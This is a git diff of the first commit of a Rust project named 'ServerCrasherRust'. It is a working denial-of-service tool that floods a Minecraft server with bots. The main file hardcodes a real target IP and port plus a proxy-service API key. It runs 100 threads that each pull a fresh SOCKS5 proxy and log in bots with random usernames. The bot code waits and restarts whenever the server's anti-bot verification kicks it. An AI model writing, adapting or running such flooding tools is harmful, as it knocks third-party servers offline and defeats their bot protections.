初始化-第一次提交

.gitignore

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+/target

Cargo.toml

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+[package]
+name = "ServerCrasherRust"
+version = "0.1.0"
+edition = "2021"
+
+[dependencies]
+rust_mc_proto = "0.1.17"
+serde_json = "1.0.137"
+socks = "0.3.4"
+uuid = "1.12.1"
+rand = "0.8.5"  # 添加rand库依赖
+reqwest = "0.12.12"
+tokio = { version = "1.43.0", features = ["full", "rt", "rt-multi-thread"] }

src/bot_socks5.rs

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+use std::{io::Error, thread::sleep, time::Duration};
+
+use rust_mc_proto::{DataBufferReader, DataBufferWriter, MinecraftConnection, Packet, ProtocolError};
+use socks::Socks5Stream;
+use crate::utils;
+
+pub struct Socks5Bot {
+    username: String,
+    proxy_addr: String,
+    server_addr: String,
+    conn: MinecraftConnection<Socks5Stream>,
+    should_restart: bool,
+}
+
+impl Socks5Bot {
+    pub fn new(username: String, proxy_addr: String, server_addr: String) -> Result<Socks5Bot, Error> {
+        println!("[{}] Creating bot with proxy {}", username, proxy_addr);
+        let stream = Socks5Stream::connect(proxy_addr.as_str(), server_addr.as_str());
+        let should_restart = false;
+        match stream {
+            Ok(stream) => Ok(Socks5Bot { username, proxy_addr, server_addr, conn: MinecraftConnection::new(stream), should_restart }),
+            Err(e) => Err(e),
+        }
+    }
+    // bot登录函数
+    pub fn login(&mut self) -> Result<(), ProtocolError> {
+        let mut server_host: String = self.server_addr.clone();
+        let server_port: String = server_host.split_off(server_host.find(":").unwrap()+1);
+        // println!("{}",server_host);
+        server_host = server_host.strip_suffix(':').unwrap().to_string();
+        let server_port_num: u16 = server_port.parse::<u16>().unwrap();
+        self.conn.write_packet(&Packet::build(0x00, |packet| {
+            packet.write_u16_varint(763)?; // protocol_version
+            packet.write_string(&server_host)?; // server_address
+            packet.write_unsigned_short(server_port_num)?; // server_port
+            packet.write_u8_varint(2) // next_state
+        })?)?; // handshake packet
+
+        self.conn.write_packet(&Packet::build(0x00, |packet| {
+            packet.write_string(&self.username)?;
+            packet.write_boolean(false)// ?;
+            // packet.write_uuid(&Uuid::parse_str("550e8400-e29b-41d4-a716-446655440000").unwrap())
+        })?)?; // login start packet
+
+        Ok(())
+    }
+
+    pub fn handle_keepalive(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
+        // keep alive
+        let id = packet.read_long()?;
+        self.conn.write_packet(&Packet::build(0x12, |packet| { // respond with a same keep alive packet
+            packet.write_long(id)
+        })?)?;
+        // println!("Server keep alived");
+        self.conn.write_packet(&Packet::build(0x07, |packet| {
+            packet.write_u8_varint(0)
+        })?)?;
+        Ok(())
+    }
+
+    pub fn handle_disconnect(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
+        // disconnect
+        let message = packet.read_string()?;
+        let text = utils::parse_json_component(message.as_str());
+        println!("[{}] Server disconnected: {}", self.username, text);
+        if text.contains("验证程序已启用") {
+            println!("[{}] Restart flag setted, will restart after 1.5 min", self.username);
+            sleep(Duration::from_secs(90));
+            self.should_restart = true;
+        }
+        Ok(())
+    }
+
+    // 处理网络数据包
+    pub fn handle_packets(&mut self) -> Result<(), ProtocolError> {
+        let mut status = 0;
+
+        while self.conn.is_alive() {
+            let mut packet = self.conn.read_packet()?;
+            match packet.id() {
+                0x02 => {
+                    // login success
+                    println!("[{}] Successfully logged in!",self.username);
+                    status = 1;
+                }
+                0x03 => {
+                    // set compression
+                    let threshold = packet.read_i32_varint()?;
+                    if threshold >= 0 {
+                        self.conn.set_compression(Some(threshold as usize));
+                        // println!("[{}] Compression threshold set to {}", self.username, threshold)
+                    }
+                }
+                0x23 => {
+                    self.handle_keepalive(&mut packet)?;
+                }
+                0x1A => {
+                    // disconnect
+                    self.handle_disconnect(&mut packet)?;
+                    break;
+                }
+                0x00 => {
+                    if status == 0{
+                        let text = packet.read_string()?;
+                        println!("[{}] Failed to login: {}", self.username, utils::parse_json_component(text.as_str()));
+                        break;
+                    }
+                }
+                0x38 => {
+                    // player died
+                    println!("[{}] Player died,respawning...",self.username);
+                    self.conn.write_packet(&Packet::build(0x07, |packet| {
+                        packet.write_u8_varint(0)
+                    })?)?
+                }
+                _ => {
+
+                }
+            }
+        }
+        Ok(())
+    }
+
+    pub fn run(&mut self) -> Result<(), ProtocolError> {
+        println!("[{}] Connecting to {} with proxy {}", self.username, self.server_addr,self.proxy_addr);
+        self.login().unwrap();
+        self.handle_packets().unwrap_or(());
+        Ok(())
+    }
+
+    pub fn should_restart(&self) -> bool {
+        self.should_restart
+    }
+}

src/main.rs

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+mod bot_socks5;
+mod utils;
+
+use tokio::sync::Mutex;
+use std::sync::Arc;
+use std::thread;
+use rand::Rng;
+use rand::distributions::Alphanumeric;
+use serde_json::Value;
+use reqwest;
+
+const SERVER_ADDR: &str = "49.70.3.146:33009";
+const UU_URL: &str = "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json";
+
+#[tokio::main]
+async fn main() {
+    // let rt = tokio::runtime::Builder::new_multi_thread()
+    //     .enable_all()
+    //     .thread_stack_size(8 * 1024 * 1024)
+    //     .worker_threads(30)
+    //     .build()
+    //     .unwrap();
+    
+    let thread_lock = Arc::new(Mutex::new(()));
+    
+    let mut handles = Vec::new();
+    
+    for i in 0..100 {
+        let lock_clone = thread_lock.clone();
+        // let handle = tokio::spawn(async move {
+        //     attack_thread(lock_clone).await;
+        //     println!("[MAIN] Thread {} created", i);
+        // });
+        let handle = thread::spawn(move || {
+            tokio::runtime::Builder::new_current_thread()
+                .enable_all()
+                .thread_stack_size(8 * 1024 * 1024)
+                .build()
+                .unwrap()
+                .block_on(async move {
+                    attack_thread(lock_clone).await;
+                    println!("[MAIN] Thread {} created", i);
+                });
+        });
+        handles.push(handle);
+        println!("[MAIN] Thread {} created", i)
+    }
+    
+    // 等待所有任务完成
+    for handle in handles {
+        handle.join().unwrap();
+    }
+}
+
+async fn attack_thread(lock: Arc<Mutex<()>>) -> () {
+    loop {
+        let resp: reqwest::Response;
+        {
+            let _guard = lock.lock().await;
+            resp = reqwest::get(UU_URL).await.unwrap();
+        }
+        let proxy_list: Value = serde_json::from_str(&resp.text().await.unwrap()).unwrap();
+        let proxy = &proxy_list["proxies"].as_array().unwrap()[0];
+        let username = generate_string();
+        let mut flag = true;
+
+        while flag {
+            flag = false;
+            let bot_result = bot_socks5::Socks5Bot::new(
+                username.clone(),
+                format!("{}:{}", proxy["ip"].as_str().unwrap(), proxy["port"]),
+                SERVER_ADDR.to_string(),
+            );
+            if let Ok(mut bot) = bot_result {
+                match bot.run() {
+                    Ok(_) => {
+                        if bot.should_restart() {
+                            flag = true;
+                        }
+                    }
+                    Err(e) => {
+                        eprintln!("[{}] Error running bot: {}", username.clone(), e);
+                    }
+                }
+            }else if let Err(e) = bot_result {
+                eprintln!("[{}] Error creating bot: {}", username.clone(), e);
+                continue;
+            }
+            
+        }
+    }
+}
+
+fn generate_string() -> String {
+    let mut rng = rand::thread_rng();
+    let len = rng.gen_range(5..=10);
+    rng.sample_iter(&Alphanumeric)
+        .take(len)
+        .map(char::from)
+        .collect()
+}

src/utils.rs

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+// 处理json组件
+pub fn parse_json_component(json: &str) -> String {
+    let data: serde_json::Value = serde_json::from_str(json).unwrap();
+    let mut res: String = String::new();
+    let text = data.get("text");
+    match text {
+        Some(t) => {
+            if t.is_string(){
+                res += t.as_str().unwrap();
+            }
+        }
+        None => {
+            let translate = data.get("translate");
+            match translate {
+                Some(t) => {
+                    if t.is_string(){
+                        res += t.as_str().unwrap();
+                    }
+                }
+                None => {}
+            }
+        }
+    }
+    let extra = data.get("extra");
+    match extra {
+        Some(t) =>{
+            for i in t.as_array().unwrap(){
+                if !i.is_object(){
+                    continue;
+                }
+                res += parse_json_component(i.to_string().as_str()).as_str();
+            }
+        }
+        None => {}
+    }
+    return res;
+}